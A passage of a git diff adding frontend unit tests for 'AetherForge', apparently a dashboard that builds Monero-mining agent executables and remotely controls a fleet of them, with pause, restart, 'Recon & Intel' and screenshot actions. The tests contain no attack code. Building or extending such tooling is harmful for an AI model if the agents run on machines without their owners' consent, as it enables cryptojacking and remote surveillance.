+ setStoredAuth('user', 'pass');
+ fetchMock.mockResolvedValueOnce(new Response(new Blob(['data']), { status: 200 }));
+
+ await downloadAuthedFile('/builds/b1/download', 'agent.exe');
+
+ const [url, init] = fetchMock.mock.calls[0];
+ expect(url).toBe('/api/v1/builds/b1/download');
+ expect((init.headers as Record).Authorization).toBe(`Basic ${btoa('user:pass')}`);
+ expect(clickMock).toHaveBeenCalled();
+ });
+
+ it('leaves full /api/v1 paths unchanged', async () => {
+ fetchMock.mockResolvedValueOnce(new Response(new Blob(['x']), { status: 200 }));
+
+ await downloadAuthedFile('/api/v1/builds/b2/uninstall', 'uninstall.bat');
+
+ expect(fetchMock.mock.calls[0][0]).toBe('/api/v1/builds/b2/uninstall');
+ });
+
+ it('prefixes bare paths without leading slash', async () => {
+ fetchMock.mockResolvedValueOnce(new Response(new Blob(['x']), { status: 200 }));
+
+ await downloadAuthedFile('builds/b3/artifact/file.exe', 'file.exe');
+
+ expect(fetchMock.mock.calls[0][0]).toBe('/api/v1/builds/b3/artifact/file.exe');
+ });
+
+ it('throws server error body on failure', async () => {
+ fetchMock.mockResolvedValueOnce(new Response('forbidden', { status: 403 }));
+
+ await expect(downloadAuthedFile('/builds/x/download', 'x.exe')).rejects.toThrow('forbidden');
+ });
+
+ it('throws status fallback when error body empty', async () => {
+ fetchMock.mockResolvedValueOnce(new Response('', { status: 500 }));
+
+ await expect(downloadAuthedFile('/builds/x/download', 'x.exe')).rejects.toThrow('Download failed (500)');
+ });
+
+ it('downloadApiFile is an alias', () => {
+ expect(downloadApiFile).toBe(downloadAuthedFile);
+ });
+});
diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx
new file mode 100644
index 0000000..a0f124d
--- /dev/null
+++ b/server/web/src/components/components.test.tsx
@@ -0,0 +1,795 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { cleanup, render, screen, waitFor, fireEvent } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { MemoryRouter } from 'react-router-dom';
+import { type ReactNode } from 'react';
+import { mockAgent, mockServerInfo } from '../test/fixtures';
+import { api } from '../api/client';
+import { downloadApiFile, downloadAuthedFile } from '../api/download';
+import { getStoredAuth } from '../api/auth';
+import { useWebSocket } from '../hooks/useWebSocket';
+import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
+
+import NeonCard from './NeonCard/NeonCard';
+import { HelpTip, FieldHint } from './HelpTip';
+import DownloadButton from './DownloadButton';
+import AuthDownloadButton from './AuthDownloadButton';
+import ErrorBoundary from './ErrorBoundary';
+import SessionGate from './SessionGate';
+import GaugeRing from './Charts/GaugeRing';
+import HashrateChart from './Charts/HashrateChart';
+import AgentRemoteActions from './Fleet/AgentRemoteActions';
+import AgentListItem from './Fleet/AgentListItem';
+import FleetToolbar from './Fleet/FleetToolbar';
+import { LanDownloadQR } from './Fleet/LanDownloadQR';
+import {
+ AlertBanner,
+ PoolStatusPanel,
+ AIActivityPanel,
+ EarningsEstimator,
+ FleetHealthCard,
+ ContributionBars,
+ UnderperformerList,
+ OSArchBreakdown,
+ LANGroupView,
+} from './Fleet/FleetPanels';
+import { ForgeLockedHint, ForgeFieldBadge, ForgeSectionHeader } from './Forge/ForgeFieldHints';
+import {
+ PipelineFlow,
+ FleetPipelineStatus,
+ ActivityPulse,
+ ForgeCalibrateCompare,
+ RoadmapGrid,
+} from './Visual/VisualComponents';
+import MatrixStreamOverlay from './Visual/MatrixStreamOverlay';
+import SystemStatusBar from './Visual/SystemStatusBar';
+import FleetTopologyMap from './Visual/3D/FleetTopologyMap';
+import Layout from './Layout/Layout';
+import AmbientBackground from './Ambient/AmbientBackground';
+import CursorFire from './Visual/CursorFire';
+import MatrixRain from './Layout/MatrixRain';
+
+vi.mock('../hooks/useWebSocket', () => ({
+ useWebSocket: vi.fn(),
+}));
+
+vi.mock('../context/ForgeContext', () => ({
+ useForge: vi.fn(() => ({ forging: false, stage: '' })),
+}));
+
+vi.mock('../api/download', () => ({
+ downloadApiFile: vi.fn(),
+ downloadAuthedFile: vi.fn(),
+}));
+
+vi.mock('../api/auth', () => ({
+ getStoredAuth: vi.fn(),
+ setStoredAuth: vi.fn(),
+}));
+
+vi.mock('qrcode', () => ({
+ default: {
+ toCanvas: vi.fn().mockResolvedValue(undefined),
+ },
+}));
+
+vi.mock('recharts', async () => {
+ const actual = await vi.importActual('recharts');
+ return {
+ ...actual,
+ ResponsiveContainer: ({ children }: { children: ReactNode }) => (
+ {children}
+ ),
+ };
+});
+
+vi.mock('@react-three/fiber', () => ({
+ Canvas: ({ children }: { children: ReactNode }) => {children}
,
+ useFrame: () => {},
+}));
+
+vi.mock('@react-three/drei', () => ({
+ OrbitControls: () => null,
+ Stars: () => null,
+ Line: () => null,
+ Sphere: () => null,
+}));
+
+const useWebSocketMock = vi.mocked(useWebSocket);
+const downloadApiFileMock = vi.mocked(downloadApiFile);
+const downloadAuthedFileMock = vi.mocked(downloadAuthedFile);
+const getStoredAuthMock = vi.mocked(getStoredAuth);
+
+function ThrowOnce({ shouldThrow }: { shouldThrow: boolean }) {
+ if (shouldThrow) throw new Error('render boom');
+ return child ok;
+}
+
+describe('NeonCard', () => {
+ afterEach(() => cleanup());
+
+ it('renders children with default brass accent and 3d class', () => {
+ render(Inner);
+ const card = screen.getByText('Inner').closest('.neon-card');
+ expect(card).toHaveClass('neon-card-brass', 'neon-card-3d');
+ expect(card?.querySelector('.neon-card-rim')).toBeTruthy();
+ });
+
+ it('applies accent, hud, tilt3d off, and custom className', () => {
+ render(
+
+ X
+
+ );
+ const card = screen.getByText('X').closest('.neon-card');
+ expect(card).toHaveClass('neon-card-cyan', 'hud-corners', 'extra');
+ expect(card).not.toHaveClass('neon-card-3d');
+ });
+});
+
+describe('HelpTip', () => {
+ afterEach(() => cleanup());
+
+ it('returns null for unknown field', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('shows help popup on hover for known field', async () => {
+ render();
+ expect(screen.getByRole('button', { name: /Help: calibrate_wallet/ })).toBeInTheDocument();
+ await userEvent.setup().hover(screen.getByRole('button'));
+ await waitFor(() => {
+ expect(screen.getByRole('tooltip')).toHaveTextContent(/Monero payout address/i);
+ });
+ });
+
+ it('FieldHint export is deprecated no-op', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+});
+
+describe('DownloadButton', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ downloadApiFileMock.mockReset();
+ });
+
+ it('downloads on click and shows busy label', async () => {
+ downloadApiFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 50)));
+ render(
+
+ Save
+
+ );
+ const btn = screen.getByRole('button', { name: 'Save' });
+ await userEvent.setup().click(btn);
+ expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
+ await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
+ });
+
+ it('alerts on download failure', async () => {
+ downloadApiFileMock.mockRejectedValue(new Error('network down'));
+ const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
+ render(
+
+ Save
+
+ );
+ await userEvent.setup().click(screen.getByRole('button'));
+ await waitFor(() => expect(alertSpy).toHaveBeenCalledWith('network down'));
+ alertSpy.mockRestore();
+ });
+});
+
+describe('AuthDownloadButton', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ downloadAuthedFileMock.mockReset();
+ });
+
+ it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
+ downloadAuthedFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 30)));
+ render(
+
+ DL
+
+ );
+ await userEvent.setup().click(screen.getByRole('button', { name: 'DL' }));
+ expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
+ await waitFor(() =>
+ expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
+ );
+ });
+});
+
+describe('ErrorBoundary', () => {
+ afterEach(() => cleanup());
+
+ it('renders children when no error', () => {
+ render(
+
+
+
+ );
+ expect(screen.getByText('child ok')).toBeInTheDocument();
+ });
+
+ it('shows fallback UI and clears error on retry', async () => {
+ let throwNow = true;
+ function MaybeThrow() {
+ if (throwNow) throw new Error('render boom');
+ return child ok;
+ }
+ render(
+
+
+
+ );
+ expect(screen.getByRole('heading', { name: 'Something failed to render' })).toBeInTheDocument();
+ throwNow = false;
+ await userEvent.setup().click(screen.getByRole('button', { name: 'Retry' }));
+ expect(screen.getByText('child ok')).toBeInTheDocument();
+ });
+
+ it('uses custom fallback when provided', () => {
+ render(
+ Custom fail
}>
+
+
+ );
+ expect(screen.getByText('Custom fail')).toBeInTheDocument();
+ });
+});
+
+describe('SessionGate', () => {
+ afterEach(() => {
+ cleanup();
+ vi.unstubAllGlobals();
+ });
+
+ beforeEach(() => {
+ getStoredAuthMock.mockReturnValue(null);
+ });
+
+ it('shows login form when unauthenticated', async () => {
+ vi.stubGlobal(
+ 'fetch',
+ vi.fn().mockResolvedValue({ ok: false })
+ );
+ render(
+
+ protected
+
+ );
+ await waitFor(() => {
+ expect(screen.getByRole('heading', { name: 'AetherForge' })).toBeInTheDocument();
+ });
+ expect(screen.queryByText('protected')).not.toBeInTheDocument();
+ });
+
+ it('renders children when stored auth validates', async () => {
+ getStoredAuthMock.mockReturnValue('dGVzdA==');
+ vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
+ render(
+
+ protected
+
+ );
+ await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
+ });
+});
+
+describe('GaugeRing', () => {
+ afterEach(() => cleanup());
+
+ it('renders label and percentage for percent-scale max', () => {
+ render();
+ expect(screen.getByText('42%')).toBeInTheDocument();
+ expect(screen.getByText('CPU')).toBeInTheDocument();
+ expect(screen.getByText('load')).toBeInTheDocument();
+ });
+
+ it('shows raw value in center while ring arc clamps to 0–100%', () => {
+ const { rerender, container } = render();
+ expect(screen.getByText('-10%')).toBeInTheDocument();
+ const fill = container.querySelector('.gauge-ring-fill') as SVGCircleElement;
+ expect(fill.getAttribute('stroke-dashoffset')).toBe(String(2 * Math.PI * 42));
+ rerender();
+ expect(screen.getByText('200%')).toBeInTheDocument();
+ expect((container.querySelector('.gauge-ring-fill') as SVGCircleElement).getAttribute('stroke-dashoffset')).toBe('0');
+ });
+});
+
+describe('HashrateChart', () => {
+ afterEach(() => cleanup());
+
+ it('shows empty state when data is empty', () => {
+ render();
+ expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
+ expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
+ });
+
+ it('renders chart with data points', () => {
+ render(
+
+ );
+ expect(screen.getByText('Live')).toBeInTheDocument();
+ expect(screen.getByText('● LIVE')).toBeInTheDocument();
+ expect(screen.getByTestId('recharts-responsive')).toBeInTheDocument();
+ });
+});
+
+describe('AgentRemoteActions', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
+ vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
+ });
+
+ it('compact mode disables actions when offline', () => {
+ render(
+
+ );
+ expect(screen.getByRole('button', { name: 'Pause' })).toBeDisabled();
+ expect(screen.getByRole('button', { name: 'Resume' })).toBeDisabled();
+ });
+
+ it('compact dispatches pause when online', async () => {
+ const cmd = vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
+ render(
+
+ );
+ await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
+ await waitFor(() => expect(cmd).toHaveBeenCalledWith('a1', 'pause', {}));
+ });
+
+ it('full panel shows Target heading and recon section', async () => {
+ render();
+ await waitFor(() => {
+ expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
+ });
+ expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
+ expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
+ });
+
+ it('disables recon buttons when agent offline', async () => {
+ render();
+ await waitFor(() => {
+ expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
+ });
+ expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
+ });
+});
+
+describe('AgentListItem', () => {
+ afterEach(() => cleanup());
+
+ const baseProps = {
+ agent: mockAgent({ name: 'List Node', tags: ['rack'], notes: 'a'.repeat(90) }),
+ selected: false,
+ expanded: false,
+ onToggleExpand: vi.fn(),
+ onSelect: vi.fn(),
+ };
+
+ it('renders name, status, and click hint when collapsed', () => {
+ render();
+ expect(screen.getByText('List Node')).toBeInTheDocument();
+ expect(screen.getByText('online')).toBeInTheDocument();
+ expect(screen.getByText('click for details')).toBeInTheDocument();
+ expect(screen.getByText('rack')).toBeInTheDocument();
+ });
+
+ it('truncates long notes preview when collapsed', () => {
+ render();
+ const preview = screen.getByText(/…$/);
+ expect(preview.textContent!.length).toBeLessThanOrEqual(81);
+ });
+
+ it('expands meta and remote actions', async () => {
+ vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
+ render();
+ expect(screen.getByText(/Shares:/)).toBeInTheDocument();
+ expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
+ });
+
+ it('checkbox stops row navigation', async () => {
+ const onCheck = vi.fn();
+ render();
+ await userEvent.setup().click(screen.getByRole('checkbox'));
+ expect(onCheck).toHaveBeenCalledWith(true);
+ expect(baseProps.onSelect).not.toHaveBeenCalled();
+ });
+});
+
+describe('FleetToolbar', () => {
+ afterEach(() => cleanup());
+
+ const filters = { ...DEFAULT_FLEET_FILTERS };
+ const agents = [
+ mockAgent({ tags: ['prod'], ip: '10.0.0.5' }),
+ mockAgent({ id: 'a2', name: 'B', tags: ['dev'], ip: '10.0.1.2' }),
+ ];
+
+ it('renders search and filter controls', () => {
+ render(
+
+ );
+ expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument();
+ expect(screen.getByText('All tags')).toBeInTheDocument();
+ });
+
+ it('shows bulk bar when agents selected', async () => {
+ const onBulk = vi.fn();
+ render(
+
+ );
+ expect(screen.getByText('2 selected')).toBeInTheDocument();
+ await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
+ expect(onBulk).toHaveBeenCalledWith('pause');
+ });
+
+ it('shows select-all filtered when props provided', () => {
+ const onSelectAll = vi.fn();
+ render(
+
+ );
+ fireEvent.click(screen.getByRole('button', { name: 'Select all filtered (3)' }));
+ expect(onSelectAll).toHaveBeenCalled();
+ });
+});
+
+describe('LanDownloadQR', () => {
+ afterEach(() => cleanup());
+
+ it('returns null without url', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('renders canvas when url provided', () => {
+ const { container } = render();
+ expect(container.querySelector('canvas')).toBeTruthy();
+ });
+});
+
+describe('FleetPanels', () => {
+ afterEach(() => cleanup());
+
+ it('AlertBanner returns null when empty', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('AlertBanner shows up to five alerts', () => {
+ const alerts = [
+ { id: '1', level: 'warning', type: 'offline', message: 'Node down', timestamp: '2026-05-30T12:00:00Z' },
+ ];
+ render();
+ expect(screen.getByText('OFFLINE')).toBeInTheDocument();
+ expect(screen.getByText('Node down')).toBeInTheDocument();
+ });
+
+ it('PoolStatusPanel empty hint', () => {
+ render();
+ expect(screen.getByRole('heading', { name: /Pool Stratum Status/i })).toBeInTheDocument();
+ expect(screen.getByText(/No forged pool connections yet/i)).toBeInTheDocument();
+ });
+
+ it('AIActivityPanel maps agent names', () => {
+ render(
+
+ );
+ expect(screen.getByText('Friendly')).toBeInTheDocument();
+ });
+
+ it('FleetHealthCard shows score and label', () => {
+ render(
+
+ );
+ expect(screen.getByText('NOMINAL')).toBeInTheDocument();
+ expect(screen.getByText('88')).toBeInTheDocument();
+ expect(screen.getByText('All good')).toBeInTheDocument();
+ });
+
+ it('ContributionBars returns null when empty', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('ContributionBars renders rows', () => {
+ render(
+
+ );
+ expect(screen.getByRole('heading', { name: /Contribution Map/i })).toBeInTheDocument();
+ expect(screen.getByText('A')).toBeInTheDocument();
+ });
+
+ it('OSArchBreakdown returns null when empty', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('LANGroupView needs at least two groups', () => {
+ const { container } = render(
+
+ );
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('EarningsEstimator returns null when hashrate zero', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('UnderperformerList restart calls bulk API', async () => {
+ const agents = [mockAgent({ id: 'u1', name: 'Slow' })];
+ const bulk = vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({ success: true, sent: 1, failed: 0, action: 'restart' });
+ render();
+ await userEvent.setup().click(screen.getByRole('button', { name: /Restart All/i }));
+ await waitFor(() => expect(bulk).toHaveBeenCalledWith(['u1'], 'restart'));
+ expect(await screen.findByText(/Restart sent to 1/i)).toBeInTheDocument();
+ });
+});
+
+describe('ForgeFieldHints', () => {
+ afterEach(() => cleanup());
+
+ it('ForgeLockedHint null without meta', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('ForgeFieldBadge shows baked label', () => {
+ render();
+ expect(screen.getByText('⛏ baked')).toBeInTheDocument();
+ });
+
+ it('ForgeSectionHeader renders title and badge', () => {
+ render(
+
+ );
+ expect(screen.getByRole('heading', { name: 'Pool' })).toBeInTheDocument();
+ expect(screen.getByText(/server/i)).toBeInTheDocument();
+ });
+});
+
+describe('VisualComponents', () => {
+ afterEach(() => cleanup());
+
+ it('PipelineFlow highlights active step', () => {
+ render();
+ expect(document.querySelector('.pipeline-active')).toBeTruthy();
+ });
+
+ it('FleetPipelineStatus shows step labels', () => {
+ render(
+
+ );
+ expect(screen.getByText('Forged')).toBeInTheDocument();
+ expect(screen.getByText('Shares')).toBeInTheDocument();
+ });
+
+ it('ActivityPulse empty message', () => {
+ render();
+ expect(screen.getByText(/Awaiting fleet activity/i)).toBeInTheDocument();
+ });
+
+ it('ForgeCalibrateCompare links to routes', () => {
+ render(
+
+
+
+ );
+ expect(screen.getByText(/Forge — baked into each binary/i)).toBeInTheDocument();
+ });
+
+ it('RoadmapGrid lists features', () => {
+ render();
+ expect(document.querySelectorAll('.roadmap-card').length).toBeGreaterThan(0);
+ });
+});
+
+describe('MatrixStreamOverlay', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ useWebSocketMock.mockReturnValue({
+ isConnected: true,
+ agents: [],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ latestMessage: null,
+ });
+ });
+
+ it('returns null when inactive', () => {
+ const { container } = render();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it('shows overlay heading when active', () => {
+ render();
+ expect(screen.getByText('RAW_SOCKET_STREAM [ACTIVE]')).toBeInTheDocument();
+ });
+});
+
+describe('SystemStatusBar', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ vi.spyOn(api, 'healthCheck').mockResolvedValue(undefined);
+ vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent(), mockAgent({ id: 'a2', status: 'offline' })]);
+ vi.spyOn(api, 'listBuilds').mockResolvedValue([{ id: 'b1' } as never]);
+ });
+
+ it('shows server and fleet pills after poll', async () => {
+ render(
+
+
+
+ );
+ await waitFor(() => {
+ expect(screen.getByText(/SERVER UP/i)).toBeInTheDocument();
+ });
+ expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument();
+ expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument();
+ });
+});
+
+describe('FleetTopologyMap', () => {
+ afterEach(() => cleanup());
+
+ it('renders canvas wrapper for agents', () => {
+ render();
+ expect(screen.getByTestId('three-canvas')).toBeInTheDocument();
+ });
+});
+
+describe('AmbientBackground', () => {
+ afterEach(() => cleanup());
+
+ it('renders ambient layers and sacred geometry svg', () => {
+ const { container } = render();
+ expect(container.querySelector('.ambient-bg')).toBeTruthy();
+ expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
+ });
+});
+
+describe('CursorFire', () => {
+ afterEach(() => cleanup());
+
+ it('mounts fullscreen canvas', () => {
+ const { container } = render();
+ expect(container.querySelector('canvas')).toBeTruthy();
+ });
+});
+
+describe('MatrixRain', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ useWebSocketMock.mockReturnValue({
+ isConnected: true,
+ agents: [],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ latestMessage: null,
+ });
+ });
+
+ it('renders matrix rain canvas wrapper', () => {
+ const { container } = render();
+ expect(container.querySelector('canvas')).toBeTruthy();
+ });
+});
+
+describe('Layout', () => {
+ afterEach(() => cleanup());
+
+ beforeEach(() => {
+ useWebSocketMock.mockReturnValue({
+ isConnected: true,
+ agents: [mockAgent()],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ latestMessage: null,
+ });
+ vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
+ });
+
+ it('renders nav links and children', async () => {
+ render(
+
+
+ page body
+
+
+ );
+ await waitFor(() => {
+ expect(screen.getByText('page body')).toBeInTheDocument();
+ });
+ expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
+ expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
+ });
+});
diff --git a/server/web/src/context/ForgeContext.test.tsx b/server/web/src/context/ForgeContext.test.tsx
new file mode 100644
index 0000000..b80be2b
--- /dev/null
+++ b/server/web/src/context/ForgeContext.test.tsx
@@ -0,0 +1,55 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, expect, it } from 'vitest';
+import { act, renderHook } from '@testing-library/react';
+import { ForgeProvider, useForge } from './ForgeContext';
+
+describe('ForgeContext', () => {
+ const wrapper = ({ children }: { children: React.ReactNode }) => (
+ {children}
+ );
+
+ it('starts with idle forge state', () => {
+ const { result } = renderHook(() => useForge(), { wrapper });
+ expect(result.current.forging).toBe(false);
+ expect(result.current.stage).toBe('');
+ expect(result.current.progress).toBe(0);
+ });
+
+ it('startForge sets initializing state', () => {
+ const { result } = renderHook(() => useForge(), { wrapper });
+
+ act(() => result.current.startForge());
+
+ expect(result.current.forging).toBe(true);
+ expect(result.current.stage).toBe('Initializing forge...');
+ expect(result.current.progress).toBe(0);
+ });
+
+ it('setStage updates stage and progress while forging', () => {
+ const { result } = renderHook(() => useForge(), { wrapper });
+
+ act(() => {
+ result.current.startForge();
+ result.current.setStage('Compiling', 42);
+ });
+
+ expect(result.current.stage).toBe('Compiling');
+ expect(result.current.progress).toBe(42);
+ });
+
+ it('endForge resets state', () => {
+ const { result } = renderHook(() => useForge(), { wrapper });
+
+ act(() => {
+ result.current.startForge();
+ result.current.setStage('Done', 100);
+ result.current.endForge();
+ });
+
+ expect(result.current.forging).toBe(false);
+ expect(result.current.stage).toBe('');
+ expect(result.current.progress).toBe(0);
+ });
+});
diff --git a/server/web/src/context/WebSocketContext.test.tsx b/server/web/src/context/WebSocketContext.test.tsx
new file mode 100644
index 0000000..94bc8c4
--- /dev/null
+++ b/server/web/src/context/WebSocketContext.test.tsx
@@ -0,0 +1,43 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, expect, it } from 'vitest';
+import { renderHook } from '@testing-library/react';
+import { WebSocketContext, useWebSocketContext } from './WebSocketContext';
+import { mockAgent } from '../test/fixtures';
+
+describe('WebSocketContext', () => {
+ it('useWebSocketContext returns default value outside provider', () => {
+ const { result } = renderHook(() => useWebSocketContext());
+
+ expect(result.current.isConnected).toBe(false);
+ expect(result.current.agents).toEqual([]);
+ expect(result.current.commandResults).toEqual([]);
+ expect(result.current.latestMessage).toBeNull();
+ });
+
+ it('useWebSocketContext reads provider value', () => {
+ const value = {
+ isConnected: true,
+ agents: [mockAgent()],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: { 'agent-001-uuid': 'log line' },
+ commandResults: [{ agent_id: 'a1', action: 'pause', success: true, _seq: 1 }],
+ latestMessage: null,
+ };
+
+ const wrapper = ({ children }: { children: React.ReactNode }) => (
+ {children}
+ );
+
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+
+ expect(result.current.isConnected).toBe(true);
+ expect(result.current.agents).toHaveLength(1);
+ expect(result.current.agentLogs['agent-001-uuid']).toBe('log line');
+ expect(result.current.commandResults[0]._seq).toBe(1);
+ });
+});
diff --git a/server/web/src/context/WebSocketProvider.test.tsx b/server/web/src/context/WebSocketProvider.test.tsx
new file mode 100644
index 0000000..0deaeea
--- /dev/null
+++ b/server/web/src/context/WebSocketProvider.test.tsx
@@ -0,0 +1,180 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { act, render, renderHook } from '@testing-library/react';
+import { WebSocketProvider } from './WebSocketProvider';
+import { useWebSocketContext } from './WebSocketContext';
+import { useWebSocket } from '../hooks/useWebSocket';
+import { setStoredAuth, clearStoredAuth } from '../api/auth';
+import { mockAgent, mockShare } from '../test/fixtures';
+
+type WSListener = ((event: { data: string }) => void) | null;
+
+class MockWebSocket {
+ static instances: MockWebSocket[] = [];
+ static OPEN = 1;
+ static CONNECTING = 0;
+ static CLOSED = 3;
+
+ url: string;
+ readyState = MockWebSocket.CONNECTING;
+ onopen: (() => void) | null = null;
+ onclose: (() => void) | null = null;
+ onerror: (() => void) | null = null;
+ onmessage: WSListener = null;
+
+ constructor(url: string) {
+ this.url = url;
+ MockWebSocket.instances.push(this);
+ }
+
+ close() {
+ this.readyState = MockWebSocket.CLOSED;
+ this.onclose?.();
+ }
+
+ emitMessage(data: unknown) {
+ this.onmessage?.({ data: JSON.stringify(data) });
+ }
+
+ emitOpen() {
+ this.readyState = MockWebSocket.OPEN;
+ this.onopen?.();
+ }
+}
+
+describe('WebSocketProvider', () => {
+ beforeEach(() => {
+ sessionStorage.clear();
+ MockWebSocket.instances = [];
+ vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
+ Object.defineProperty(window, 'location', {
+ value: { protocol: 'http:', host: 'localhost:8080' },
+ configurable: true,
+ });
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ function latestSocket() {
+ return MockWebSocket.instances.at(-1)!;
+ }
+
+ function wrapper({ children }: { children: React.ReactNode }) {
+ return {children};
+ }
+
+ it('connects to ws dashboard with auth token query param', () => {
+ setStoredAuth('drjones', 'secret');
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+
+ const ws = latestSocket();
+ const token = btoa('drjones:secret');
+ expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
+
+ act(() => ws.emitOpen());
+ expect(result.current.isConnected).toBe(true);
+ });
+
+ it('connects without token when logged out', () => {
+ clearStoredAuth();
+ renderHook(() => useWebSocketContext(), { wrapper });
+ expect(latestSocket().url).toBe('ws://localhost:8080/ws/dashboard');
+ });
+
+ it('useWebSocket re-exports context hook', () => {
+ expect(useWebSocket).toBe(useWebSocketContext);
+ });
+
+ it('handles init and agent_online messages', () => {
+ const agent = mockAgent({ id: 'live-1' });
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({
+ type: 'init',
+ payload: { agents: [agent] },
+ });
+ });
+ expect(result.current.agents).toEqual([agent]);
+
+ const updated = { ...agent, hashrate_15s: 999 };
+ act(() =>
+ latestSocket().emitMessage({
+ type: 'agent_online',
+ payload: updated,
+ })
+ );
+ expect(result.current.agents[0].hashrate_15s).toBe(999);
+ });
+
+ it('marks agent offline and caps recent shares', () => {
+ const agent = mockAgent({ id: 'a-offline' });
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
+ latestSocket().emitMessage({
+ type: 'agent_offline',
+ payload: { agent_id: 'a-offline' },
+ });
+ });
+ expect(result.current.agents[0].status).toBe('offline');
+
+ act(() => {
+ for (let i = 0; i < 55; i++) {
+ latestSocket().emitMessage({
+ type: 'new_share',
+ payload: mockShare({ id: i }),
+ });
+ }
+ });
+ expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
+ });
+
+ it('assigns monotonic _seq on command_result', () => {
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({
+ type: 'command_result',
+ payload: { agent_id: 'a1', action: 'pause', success: true },
+ });
+ latestSocket().emitMessage({
+ type: 'command_result',
+ payload: { agent_id: 'a1', action: 'get_log', success: true, message: 'log data' },
+ });
+ });
+
+ expect(result.current.commandResults).toHaveLength(2);
+ expect(result.current.commandResults[0]._seq).toBe(1);
+ expect(result.current.commandResults[1]._seq).toBe(2);
+ expect(result.current.agentLogs.a1).toBe('log data');
+ });
+
+ it('schedules reconnect after close', () => {
+ vi.useFakeTimers();
+ renderHook(() => useWebSocketContext(), { wrapper });
+ const first = latestSocket();
+
+ act(() => first.close());
+ expect(MockWebSocket.instances).toHaveLength(1);
+
+ act(() => vi.advanceTimersByTime(3000));
+ expect(MockWebSocket.instances).toHaveLength(2);
+ vi.useRealTimers();
+ });
+
+ it('closes socket on unmount', () => {
